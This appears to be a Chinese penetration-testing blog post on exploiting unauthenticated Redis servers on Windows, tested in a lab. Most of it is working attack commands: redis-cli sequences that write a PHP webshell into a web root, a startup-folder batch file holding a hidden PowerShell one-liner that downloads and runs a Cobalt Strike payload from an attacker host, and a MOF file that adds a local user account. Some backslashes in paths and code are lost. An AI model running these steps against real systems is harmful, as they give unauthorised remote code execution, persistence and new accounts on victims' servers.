linux redis重启_Redis未授权访问在windows下的利用

a3e38fc72a4a30222cd32cd7525684c9.png

在某次内网渗透中遇到了redis+windows的环境,由于目标较为敏感因此在本地和uknow大佬一起进行了测试,也因此有了下面的文章。

环境搭建

首先下载windows版本的redis

https://github.com/dmajkic/redis/downloads

下载的Redis包含32位和64位操作系统,根据自己实际情况选择,本次测试使用的是64位系统。

23d802c64a9ebb5c5fd76be7c7013031.png

切换到对应目录,命令行下输入redis-server.exe redis.conf 运行redis

080c913e43b82e88bc318e549b1ce469.png

查看端口6379已经开放,说明Redis启动成功。

47729ab8efc079ce8aa56db5ce8b0533.png

在本机使用telnet 连接靶机 telnet 192.168.1.101 6379

fd0a1fb6a0d406b299c369aeee8b1d44.png

连接后输入info查看是否成功

78a339308069be2c52c70afa074674dc.png

也可以通过redis-cli.exe来进行连接

a304646355c908125e131c187c32b89e.png

对于windows下的获取权限的方式,网上并不是很多,但是对于Redis未授权漏洞的利用,其最根本的原理就是写文件的利用,个人简单概括一下大致的几种(可能有考虑不周的,大佬们轻喷)1、能够获取web绝对路径的,直接写入webshell2、写入启动项3、写入mof、dll劫持等

漏洞利用

写入webshell

第一种写入webshell,需要通过phpinfo或其他的报错方式来获取网站绝对路径

a2995ea5ca36c79229cf3412e18d30d0.png

然后通过执行如下命令获取shell

C:UsershpDesktop64bit>redis-cli.exe -h 192.168.1.101 -p 6379redis 192.168.1.101:6379> CONFIG SET dir c:/phpstudy/wwwOKredis 192.168.1.101:6379> CONFIG SET dbfilename evil.phpOKredis 192.168.1.101:6379> set x “<?php phpinfo();?>”OKredis 192.168.1.101:6379> saveOK

1e142b41a894db4bf9f14f39d99cfbd1.png

查看webshell地址

3adcf2a902de9d3afa07387b3fcf2901.png

写入启动项

第二种写入启动项也是和在linux环境下如果无法获取webshell或写入ssh-keygen情况下写入启动项一样的原理。

windows下的开机启动项的目录为

C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/

这边有个小细节,由于Start Menu之间有空格,因此需要用双引号将路径包含。

这种情况下获取shell的方式可以使用mshta,具体可以参考ukonw大佬的博客

https://uknowsec.cn/posts/notes/Redis%E5%9C%A8Windows%E7%8E%AF%E5%A2%83%E4%B8%8BGetshell.html

另外的方式也有很多,内网中我现在比较喜欢msf和CS的结合,这边使用Cobalt Strike也举个栗子。

先启动CS服务端 ,命令如下:

root@kali:~/cobaltstrike# ./teamserver 192.168.1.105 233

192ebbc7f0cd9f6221da38590c653e29.png

在启动客户端,输入密码和地址

f9bd24e866d6287f9d0346dd4f7d2b15.png

添加一个Listener 监听器

7700791e208d8a7e3ce9a756de52c36c.png

选择Attacks – Web Drive-By – Script Web Delivery,选择刚才添加的Listener

c11c0e4cfeb966cf5ddba0af832caf87.png

点击Launch之后生成如下代码

bb44fa77d8898d19afdc8dd997709974.png

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.105:80/a'))"

直接保存为1.bat即可

其中存在两个小细节,一个是由于dbfile本身是有内容的,因此命令要正常运行必须先换行,经过测试需要两个换行符rn才能正常运行,还有一个是由于本身执行命令中也有双引号,因此需要加入转义

C:UsershpDesktop64bit>redis-cli.exe -h 192.168.1.101 -p 6379redis 192.168.1.101:6379>config set dir “C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/“OKredis 192.168.1.101:6379> CONFIG SET dbfilename 1.batOKredis 192.168.1.101:6379>set x “rnrnpowershell.exe -nop -w hidden -c ”IEX ((new-object net.webclient).downloadstring(‘http://192.168.1.105:80/a’))”rnrn”OKredis 192.168.1.101:6379> saveOK

089826af6c932930e7fa627494183e2a.png

查看服务器启动项,发现正常写入命令

abb395fb24662ac578538f486fdf1667.png

重启机器,服务器就上线了。

ec643207aac69555ea2bc7fd1686789c.png

写入MOF

这个也是本次文章的原因,由于不能重启机器也无法获取web目录,想到Mof提权,不过也是有环境限制只能为win2003,也是由于当年玩提权时候很多时候都是找最简方式提权,所以没尝试过这种老式的提权方式,这次也算弥补了一下技术遗憾。

简单描述一下mof提权的原理:

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

也就是说在c:/windows/system32/wbem/mof/目录下的mof文件会每5秒自动执行一次,这样就不需要重启机器就能获取权限了。

emmm 这个操作和写入ssh keygen类似,因此还是建议在linux下完成。

首先将如下代码保存为mof文件:

#pragma namespace(".rootsubscription")instance of __EventFilter as $EventFilter{EventNamespace = "RootCimv2";Name = "filtP2";Query = "Select * From __InstanceModificationEvent ""Where TargetInstance Isa "Win32_LocalTime" ""And TargetInstance.Second = 5";QueryLanguage = "WQL";};instance of ActiveScriptEventConsumer as $Consumer{Name = "consPCSV2";ScriptingEngine = "JScript";ScriptText ="var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user 3shine admin /add")";};instance of __FilterToConsumerBinding{Consumer = $Consumer;Filter = $EventFilter;};

此处要执行的命令为添加名为3shine的用户

a000473c6d3a60707d1ac2baa031a412.png

然后执行

(echo -e "nn"; cat 3shine.txt; echo -e "nn") > foo.txt

切换到redis目录,运行如下命令

4a54c160a77e9cf653f7a971f46b9ab5.png

过一会就看到用户添加成功了。

e13a4798815031b726a9378c91a42fc1.png
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值